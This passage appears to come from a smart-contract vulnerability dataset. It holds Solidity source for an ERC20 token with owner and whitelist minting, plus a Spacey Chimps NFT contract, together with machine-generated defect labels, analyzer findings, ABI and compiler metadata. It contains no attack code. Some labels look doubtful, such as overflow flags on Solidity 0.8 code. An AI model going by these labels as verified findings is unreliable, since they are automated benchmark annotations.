amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File contracts/access/Ownable.sol /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File contracts/mulan/WhitelistForSelf.sol abstract contract WhitelistForSelf is Ownable { // caller mapping(address => bool) public canBeModified; function addRelationByOwner(address caller) external virtual onlyOwner { canBeModified[caller] = true; } modifier allowModification() { require(canBeModified[msg.sender], "modification not allowed"); _; } } // File contracts/mulan/mulanV2.sol contract mulanV2 is ERC20, WhitelistForSelf { constructor() ERC20("Mulan.Finance V2", "$MULAN2") {} function mintByWhitelist(address _to, uint256 _amount ) external allowModification { _mint(_to, _amount); } function mint(address _to, uint256 _amount ) external onlyOwner { _mint(_to, _amount); } }
[{"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["522", "474", "501", "489"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["399", "375", "355", "356", "398", "376"]}]
[{"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"mulanV2.sol": [391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"mulanV2.sol": [131, 132, 133, 134]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"mulanV2.sol": [288, 289, 290, 291, 292, 284, 285, 286, 287]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"mulanV2.sol": [496, 497, 498, 499]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"mulanV2.sol": [221, 222, 223]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"mulanV2.sol": [325, 326, 327, 328, 329, 330, 331]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"mulanV2.sol": [204, 205, 206]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"mulanV2.sol": [235, 236, 237]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"mulanV2.sol": [248, 249, 250, 247]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"mulanV2.sol": [306, 307, 308, 309]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"mulanV2.sol": [505, 506, 507, 508, 509]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"mulanV2.sol": [196, 197, 198]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"mulanV2.sol": [228, 229, 230]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"mulanV2.sol": [266, 267, 268, 269]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"mulanV2.sol": [256, 257, 255]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"mulanV2.sol": [8]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"mulanV2.sol": [544, 545, 546, 547, 548, 549, 550, 551, 539, 540, 541, 542, 543]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"mulanV2.sol": [543]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"mulanV2.sol": [547]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"mulanV2.sol": [547]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"mulanV2.sol": [543]}}, {"check": "redundant-statements", "impact": "Informational", "confidence": "High", "lines": {"mulanV2.sol": [128, 129, 130, 131, 132, 133, 134, 135, 126, 127]}}]
[]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 373, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 394, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 498, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 266, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 8, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 170, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 172, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 174, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 176, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 177, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 461, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 131, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 188, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 468, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 541, "severity": 1}]
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"caller","type":"address"}],"name":"addRelationByOwner","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"canBeModified","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"mintByWhitelist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
v0.8.0+commit.c7dfd78e
false
200
Default
MIT
false
ipfs://eaf9cf2a25c92b668572549a11f4e92e15572179e973470095ec3887f765cf79
SpaceyChimpsNFT
0xfd5ec55f67a3e3eb33c0e711b1ffc1bd20ca56e4
Solidity
// File: spaceychimps.sol //SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "ERC721.sol"; import "Ownable.sol"; import "SafeMath.sol"; import "Counters.sol"; contract SpaceyChimpsNFT is ERC721("Spacey Chimps", "CHIMP"), Ownable { using SafeMath for uint256; using Counters for Counters.Counter; Counters.Counter private _tokenSupply; uint256 public constant MAX_PER_TX = 20; uint256 public constant MAX_SUPPLY = 9999; uint256 public constant price = 15000000000000000; bool public saleIsActive; string public baseTokenURI; address public constant addrOne = 0x5C2D5404A278eB5A6EBB754EF8aE53345cfd4595; address public constant addrTwo = 0x82713E792d405A4befCbF956dcD7327a164BD888; address public constant addrThree = 0xf0b5b656fC8E50Ae72074C8E450BD98BCfD882e0; constructor() public { saleIsActive = false; setBaseURI("http://api.spaceychimps.com/"); } function mint(uint256 numberOfTokens) public payable { require(saleIsActive, "Sale must be active to mint"); require( numberOfTokens <= MAX_PER_TX, "Exceeds max tokens per transaction" ); require( _tokenSupply.current().add(numberOfTokens) <= MAX_SUPPLY, "Purchase would exceed max supply" ); require( price.mul(numberOfTokens) <= msg.value, "Ether value sent is not correct" ); for (uint256 i = 0; i < numberOfTokens; i++) { _tokenSupply.increment(); uint256 newTokenId = _tokenSupply.current(); _safeMint(msg.sender, newTokenId); } } function _baseURI() internal virtual override view returns (string memory) { return baseTokenURI; } function setBaseURI(string memory baseURI) public onlyOwner { baseTokenURI = baseURI; } function withdrawSplit() public onlyOwner { uint256 balance = address(this).balance; require(balance > 0, "Balance == 0"); _widthdraw(addrOne, balance.mul(5).div(100)); _widthdraw(addrTwo, balance.mul(5).div(100)); _widthdraw(addrThree, address(this).balance); } function _widthdraw(address _address, uint256 _amount) private { (bool success, ) = _address.call{value: _amount}(""); require(success, "Transfer failed."); } function flipSaleState() public onlyOwner { saleIsActive = !saleIsActive; } function getPrice(uint256 _count) public view returns (uint256) { return price.mul(_count); } function totalSupply() external view returns (uint256) { return _tokenSupply.current(); } } // File: ERC721.sol // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "IERC721.sol"; import "IERC721Receiver.sol"; import "IERC721Metadata.sol"; import "Address.sol"; import "Context.sol"; import "Strings.sol"; import "ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: IERC721.sol // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: IERC165.sol // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: IERC721Receiver.sol // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: IERC721Metadata.sol // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: Address.sol // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return 